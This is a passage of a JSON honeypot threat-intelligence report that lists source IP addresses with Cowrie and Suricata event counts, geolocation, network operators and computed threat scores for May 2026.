        "first_seen_30d": "2026-05-23T16:27:42.919000+00:00",
        "last_seen_30d": "2026-05-23T21:07:19.928000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 8
      }
    },
    "108.181.56.69": {
      "attack_count": 6,
      "first_seen": "2026-05-03T11:13:37.106Z",
      "last_seen": "2026-05-03T11:13:44.075Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T11:13:37.106000+00:00",
        "last_seen_30d": "2026-05-03T11:14:46.802000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "177.24.22.34": {
      "attack_count": 6,
      "first_seen": "2026-05-25T02:44:57.056Z",
      "last_seen": "2026-05-25T02:49:16.065Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Curitiba",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T02:44:57.056000+00:00",
        "last_seen_30d": "2026-05-25T02:50:17.521000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "45.129.96.20": {
      "attack_count": 6,
      "first_seen": "2026-05-12T20:04:10.270Z",
      "last_seen": "2026-05-12T20:04:12.706Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Estonia",
      "country_code": "EE",
      "city": null,
      "asn": 208440,
      "as_org": "GmhostGrupp OU",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T20:04:10.270000+00:00",
        "last_seen_30d": "2026-05-12T20:05:17.286000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "121.57.233.227": {
      "attack_count": 4,
      "first_seen": "2026-05-22T17:29:09.490Z",
      "last_seen": "2026-05-23T06:15:19.688Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:29:09.490000+00:00",
        "last_seen_30d": "2026-05-23T06:16:22.911000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "147.185.132.87": {
      "attack_count": 4,
      "first_seen": "2026-05-28T16:08:13.540Z",
      "last_seen": "2026-05-28T16:08:17.130Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 29,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T01:01:55+00:00",
        "last_seen_30d": "2026-05-31T19:50:29.692000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 93,
        "Honeytrap": 38,
        "Cowrie": 4,
        "Dionaea": 1,
        "Honeyaml": 1,
        "Sentrypeer": 1
      }
    },
    "157.245.147.189": {
      "attack_count": 4,
      "first_seen": "2026-05-08T10:07:49.001Z",
      "last_seen": "2026-05-08T11:19:35.711Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:07:49.001000+00:00",
        "last_seen_30d": "2026-05-08T11:20:38.189000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "167.172.142.171": {
      "attack_count": 4,
      "first_seen": "2026-05-27T01:36:28.135Z",
      "last_seen": "2026-05-27T01:36:28.900Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T01:36:28.135000+00:00",
        "last_seen_30d": "2026-05-27T01:37:36.225000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "187.120.22.128": {
      "attack_count": 4,
      "first_seen": "2026-05-24T02:10:30.648Z",
      "last_seen": "2026-05-24T02:14:31.605Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 266181,
      "as_org": "GOLDEN LINK",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T02:10:30.648000+00:00",
        "last_seen_30d": "2026-05-24T02:25:26.981000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "187.6.134.8": {
      "attack_count": 4,
      "first_seen": "2026-05-04T04:19:59.562Z",
      "last_seen": "2026-05-04T04:22:09.206Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Colombo",
      "asn": 8167,
      "as_org": "V tal",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T04:19:59.562000+00:00",
        "last_seen_30d": "2026-05-04T04:33:09.041000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "201.238.34.228": {
      "attack_count": 4,
      "first_seen": "2026-05-20T13:31:40.195Z",
      "last_seen": "2026-05-20T15:25:43.074Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T13:31:40.195000+00:00",
        "last_seen_30d": "2026-05-20T15:26:51.921000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "205.210.31.15": {
      "attack_count": 4,
      "first_seen": "2026-05-19T22:35:54.441Z",
      "last_seen": "2026-05-19T22:35:57.971Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 44.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 15.0,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 18,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T01:08:38+00:00",
        "last_seen_30d": "2026-05-25T20:08:58.567000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "91.230.168.94": {
      "attack_count": 3,
      "first_seen": "2026-05-19T21:55:14.550Z",
      "last_seen": "2026-05-19T21:55:14.553Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 83.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 29,
        "ports_targeted_30d": 59,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T03:56:15.992000+00:00",
        "last_seen_30d": "2026-05-30T21:03:20.782000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 140,
        "Honeytrap": 33,
        "Cowrie": 3,
        "Honeyaml": 1
      }
    },
    "1.2.197.140": {
      "attack_count": 2,
      "first_seen": "2026-05-19T23:24:33.786Z",
      "last_seen": "2026-05-19T23:24:46.619Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Nakhon Sawan",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:24:33.786000+00:00",
        "last_seen_30d": "2026-05-19T23:25:55.613000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "109.87.9.225": {
      "attack_count": 2,
      "first_seen": "2026-05-29T22:17:47.075Z",
      "last_seen": "2026-05-29T22:17:59.711Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kharkiv",
      "asn": 13188,
      "as_org": "Content Delivery Network Ltd",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T22:17:47.075000+00:00",
        "last_seen_30d": "2026-05-29T22:19:07.587000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.103.193.165": {
      "attack_count": 2,
      "first_seen": "2026-05-22T10:45:24.076Z",
      "last_seen": "2026-05-22T10:46:01.388Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:45:24.076000+00:00",
        "last_seen_30d": "2026-05-22T10:47:05.334000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.211.142.235": {
      "attack_count": 2,
      "first_seen": "2026-05-22T08:13:50.770Z",
      "last_seen": "2026-05-22T08:14:02.782Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T08:13:50.770000+00:00",
        "last_seen_30d": "2026-05-22T08:15:05.347000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.177.172.47": {
      "attack_count": 2,
      "first_seen": "2026-05-18T23:11:12.436Z",
      "last_seen": "2026-05-18T23:11:12.495Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T23:11:12.436000+00:00",
        "last_seen_30d": "2026-05-18T23:12:22.586000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "119.100.146.163": {
      "attack_count": 2,
      "first_seen": "2026-05-22T09:56:11.875Z",
      "last_seen": "2026-05-22T09:56:41.435Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:56:11.875000+00:00",
        "last_seen_30d": "2026-05-22T09:57:46.169000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.26.206.4": {
      "attack_count": 2,
      "first_seen": "2026-05-26T06:44:05.709Z",
      "last_seen": "2026-05-26T06:44:19.665Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T06:44:05.709000+00:00",
        "last_seen_30d": "2026-05-26T06:45:28.528000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.72.31.223": {
      "attack_count": 2,
      "first_seen": "2026-05-03T20:36:57.385Z",
      "last_seen": "2026-05-03T20:37:10.115Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Campana",
      "asn": 52339,
      "as_org": "Lima Video Cable S.A. Cabletel",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T20:36:57.385000+00:00",
        "last_seen_30d": "2026-05-03T20:38:19.523000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "14.179.179.65": {
      "attack_count": 2,
      "first_seen": "2026-05-08T01:27:51.745Z",
      "last_seen": "2026-05-08T01:28:04.080Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:27:51.745000+00:00",
        "last_seen_30d": "2026-05-08T01:29:05.320000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "140.75.241.139": {
      "attack_count": 2,
      "first_seen": "2026-05-19T00:07:25.376Z",
      "last_seen": "2026-05-19T00:07:38.541Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T00:07:25.376000+00:00",
        "last_seen_30d": "2026-05-19T00:08:41.648000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "151.229.11.97": {
      "attack_count": 2,
      "first_seen": "2026-05-05T14:59:03.932Z",
      "last_seen": "2026-05-05T15:01:03.936Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Bedford",
      "asn": 5607,
      "as_org": "Sky UK Limited",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T14:59:03.932000+00:00",
        "last_seen_30d": "2026-05-05T15:11:48.421000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "153.134.53.3": {
      "attack_count": 2,
      "first_seen": "2026-05-13T12:18:15.569Z",
      "last_seen": "2026-05-13T12:18:28.268Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Higashiurawa",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T12:18:15.569000+00:00",
        "last_seen_30d": "2026-05-13T12:19:35.614000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.0.34.53": {
      "attack_count": 2,
      "first_seen": "2026-05-22T22:47:41.442Z",
      "last_seen": "2026-05-22T22:48:12.400Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Arax\u00e1",
      "asn": 264550,
      "as_org": "M H SAT SERVICOS EM TELECOMUNICACOES",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:47:41.442000+00:00",
        "last_seen_30d": "2026-05-23T07:01:04.298000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "171.112.173.170": {
      "attack_count": 2,
      "first_seen": "2026-05-23T23:12:27.445Z",
      "last_seen": "2026-05-23T23:12:40.173Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T23:12:27.445000+00:00",
        "last_seen_30d": "2026-05-23T23:13:43.219000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.128.181.104": {
      "attack_count": 2,
      "first_seen": "2026-05-03T07:02:56.233Z",
      "last_seen": "2026-05-03T07:02:56.233Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:02:56.233000+00:00",
        "last_seen_30d": "2026-05-03T07:03:56.504000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.52.128.151": {
      "attack_count": 2,
      "first_seen": "2026-05-22T22:23:58.697Z",
      "last_seen": "2026-05-22T22:24:31.358Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:23:58.697000+00:00",
        "last_seen_30d": "2026-05-22T22:25:38.574000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.219.102.206": {
      "attack_count": 2,
